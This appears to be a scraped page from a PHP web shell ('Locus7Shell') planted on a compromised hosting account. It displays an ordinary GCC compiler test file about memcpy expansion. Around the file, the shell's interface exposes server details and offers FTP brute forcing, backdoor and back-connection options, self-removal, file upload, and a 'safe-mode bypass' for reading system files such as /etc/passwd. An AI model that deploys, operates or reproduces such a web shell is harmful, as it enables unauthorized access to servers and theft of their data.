Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     memcpy-pr95886.c (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/95886 - suboptimal memcpy with embedded zero bytes
   { dg-do compile { target { ! ia32 } } }
   { dg-options "-O2 -Wall -fdump-rtl-expand" } */

const char a1234567890[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };

void cpy_123456789 (void *d)
{
  /* Expands into:
       movabsq  $578437695752307201, %rax
       movb     $9, 8(%rdi)
       movq     %rax, (%rdi)  */
  __builtin_memcpy (d, a1234567890, 9);
}

const char a1234567800[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 0 };

void cpy_1234567800 (void *d)
{
  /* Expands into:
       movabsq  $578437695752307201, %rax
       movb     $0, 8(%rdi)
       movq     %rax, (%rdi)  */
  __builtin_memcpy (d, a1234567800, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695752307201" 2 "expand"} } */


const char a0234567890[10] = { 0, 2, 3, 4, 5, 6, 7, 8, 9 };

void cpy_023456789 (void *d)
{
  __builtin_memcpy (d, a0234567890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695752307200" 1 "expand"} } */


const char a1034567890[10] = { 1, 0, 3, 4, 5, 6, 7, 8, 9 };

void cpy_103456789 (void *d)
{
  __builtin_memcpy (d, a1034567890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695752306689" 1 "expand"} } */


const char a1204567890[10] = { 1, 2, 0, 4, 5, 6, 7, 8, 9 };

void cpy_120456789 (void *d)
{
  __builtin_memcpy (d, a1204567890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695752110593" 1 "expand"} } */


const char a1230567890[10] = { 1, 2, 3, 0, 5, 6, 7, 8, 9 };

void cpy_123056789 (void *d)
{
  __builtin_memcpy (d, a1230567890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695685198337" 1 "expand"} } */


const char a1234067890[10] = { 1, 2, 3, 4, 0, 6, 7, 8, 9 };

void cpy_123406789 (void *d)
{
  __builtin_memcpy (d, a1234067890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578437695685198337" 1 "expand"} } */


const char a1234507890[10] = { 1, 2, 3, 4, 5, 0, 7, 8, 9 };

void cpy_123450789 (void *d)
{
  __builtin_memcpy (d, a1234507890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 578431098682540545" 1 "expand"} } */


const char a1234560890[10] = { 1, 2, 3, 4, 5, 6, 0, 8, 9 };

void cpy_123456089 (void *d)
{
  __builtin_memcpy (d, a1234560890, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 576467370915332609" 1 "expand"} } */


const char a1234567090[10] = { 1, 2, 3, 4, 5, 6, 7, 0, 9 };

void cpy_123456709 (void *d)
{
  __builtin_memcpy (d, a1234567090, 9);
}

/* { dg-final { scan-rtl-dump-times "const_int 1976943448883713" 1 "expand"} } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--